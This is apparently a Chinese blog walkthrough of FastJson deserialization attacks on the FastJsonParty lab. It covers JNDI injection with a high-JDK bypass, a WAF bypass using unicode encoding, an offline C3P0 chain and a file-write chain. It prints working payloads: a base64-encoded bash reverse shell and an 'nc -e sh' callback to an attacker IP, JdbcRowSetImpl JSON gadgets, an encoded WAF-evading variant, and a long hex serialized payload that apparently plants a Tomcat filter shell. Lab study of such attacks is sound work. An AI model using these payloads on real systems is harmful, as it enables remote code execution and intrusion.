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服务攻防-Java组件安全FastJson高版本JNDI不出网C3P0编码绕WAF写入文件CI链

backend 2025/7/19 8:12:18

服务攻防-Java组件安全&FastJson&高版本JNDI&不出网C3P0&编码绕WAF&写入文件CI链26天

原创 朝阳 Sec朝阳 2025年07月18日 09:23 湖北 标题已修改

演示环境：

https://github.com/lemono0/FastJsonParty

FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本)，主要包括JNDI注入及高版本绕过、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。从黑盒的角度覆盖FastJson深入利用

FastJson-JDK高版本绕过(1245-jdk8u342)

打开我们的靶场

图片

1、插件判断出FastJson及版本特征

https://github.com/Niiiiko/FastjsonScan4Burp

判断的话就发送到插件即可

图片

2、利用JNDI注入未成功转高版本利用

https://github.com/B4aron1/JNDIBypass

java -jar JNDIBypass.jar -a 192.168.66.152 -p 1389 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY2LjE1Mi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

这里还是可以用之前的jndi注入

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.66.152:1389/vLlT4",
"autoCommit":true
}
}

3、监听反弹

nc -lvvp 9999

受到!监听成功

FastJson-编码特性WAF绕过(1247-jndi-waf)

修改docker-compose.yml(user: root)

https://github.com/lemono0/FastJsonParty/issues/4

1、插件判断出FastJson及版本特征

https://github.com/Niiiiko/FastjsonScan4Burp

这里我们如何判断是Fastjson呢,发送个数据,然后尝试报错,返回格式是json的

我们还可以用插件去进行判断

这里我们使用这个插件后会自动构造paload,回显的信息说黑客!黑客!也就是说这个靶场有防火墙的,我们想办法绕过一下

这个payload居然能测出Fastjson的版本,那我们把这个payload解一下

这就是解码后的payload,因为fastjson本身是默认识别并解码hex和unicode,只需要我们把payload的关键的字段信息进行编码即可绕过防火墙

{ 
"@type": "org.apache.xbean.propertyeditor.JndiConverter", 
"asText": "rmi://192.168.66.152:1099/bitggs" 
}

2、利用JNDI注入未成功转编码绕过利用

Fastjson本身是默认识别并解码hex和unicode编码的，可以利用这个特性绕过

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 192.168.66.152 9999 -e sh" -A

192.168.66.152

nc -lvvp 9999

这里就更加明显了

{"a":{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://192.168.66.152:1099/8qimfa","autoCommit": "true"}
}{"\u0061": {"\u0040\u0074\u0079\u0070\u0065": "\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073","\u0076\u0061\u006C": "\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"},"\u0062": {"\u0040\u0074\u0079\u0070\u0065": "\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C","\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065": "\u0072\u006D\u0069\u003A\u002F\u002F\u0031\u0039\u0032\u002E\u0031\u0036\u0038\u002E\u0036\u0036\u002E\u0031\u0035\u0032\u003A\u0031\u0030\u0039\u0039\u002F\u0038\u0071\u0069\u006D\u0066\u0061","\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074": "\u0074\u0072\u0075\u0065"}
}java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 192.168.66.152 9999 -e sh" -A 192.168.66.152

FastJson-WAF加不出网C3P0利用(1247-waf-c3p0)

修改docker-compose.yml(删除internal:true)

1、插件判断出FastJson及版本特征

https://github.com/Niiiiko/FastjsonScan4Burp

{"@type": "java.lang.AutoCloseable"
{"x": {"@type": "java.lang.Character"{"@type": "java.lang.Class","val": "org.springframework.web.bind.annotation.RequestMapping"}}

2、不出网C3P0链构造利用

见打包的wp代码部分

{"a":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"b":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e002000078700000187ecafebabe0000003401280a004300930700940800950b000200960b009700980a0099009a0a0099009b07009c07009d0a009e009f0a000900a00a000800a10700a20a000d00930a000800a30a000d00a40a000d00a50a000d00a60b00a700a80a00a900aa0a00ab00ac0a00ab00ad0a00ab00ae0800af0a00b000b10a00b000b20700b30a001b00b40b00b500b60700b70800b80a003b00b908008e0a003b00ba0a00bb00bc0a00bb00bd0700be0b002500bd0700bf0a002700930700c00a002900930a002900c10a002900c20a003f00c30a003b00c40a002900c50a001e00c60700c70a003100930800c80a003100c90a003100c20900ca00cb0a00ca00cc0a003100cd0a001e00ce0700cf0700d00700d10a003b00d20a00d300bc0700d40a00d300d50b002500d60700d70700d80700d90100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100074c465261696e3b010004696e697401001f284c6a617661782f736572766c65742f46696c746572436f6e6669673b295601000c66696c746572436f6e66696701001c4c6a617661782f736572766c65742f46696c746572436f6e6669673b01000a457863657074696f6e730700da0100104d6574686f64506172616d6574657273010008646f46696c74657201005b284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b4c6a617661782f736572766c65742f46696c746572436861696e3b295601000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000e62756666657265645265616465720100184c6a6176612f696f2f42756666657265645265616465723b01000d737472696e674275696c6465720100194c6a6176612f6c616e672f537472696e674275696c6465723b0100046c696e650100124c6a6176612f6c616e672f537472696e673b01000e736572766c65745265717565737401001e4c6a617661782f736572766c65742f536572766c6574526571756573743b01000f736572766c6574526573706f6e736501001f4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b01000b66696c746572436861696e01001b4c6a617661782f736572766c65742f46696c746572436861696e3b0100037265710100274c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b01000d537461636b4d61705461626c650700940700db07009c0700a20700dc0700bf0700dd0700de0700df0700e001000764657374726f790100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0700e10100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e01000666696c7465720100164c6a617661782f736572766c65742f46696c7465723b01000966696c7465724465660100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b01000966696c7465724d61700100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b01000b636f6e7374727563746f7201001f4c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b0100324c6f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e6669673b0100046e616d65010015776562617070436c6173734c6f61646572426173650100324c6f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173653b01000f7374616e64617264436f6e7465787401002a4c6f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578743b010007436f6e666967730100194c6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}

3、WAF绕过

添加`_`或`+`处理关键字绕过

userOverridesAsString->us_erOverridesAsString

https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/

复现链接

https://lca.xlog.app/fastjson-lou-dong-fu-xian--1247-waf-c3p0?locale=en

FastJson-高版本加写入链利用（1268-writefile-jsp）

1、插件判断出FastJson及版本特征

https://github.com/Niiiiko/FastjsonScan4Burp

这里Tomcat是支持jsp文件的

2、高版本采用写入链

先探针到中间件及目录，利用链加写入文件内容

http://www.xdnf.cn/news/15676.html

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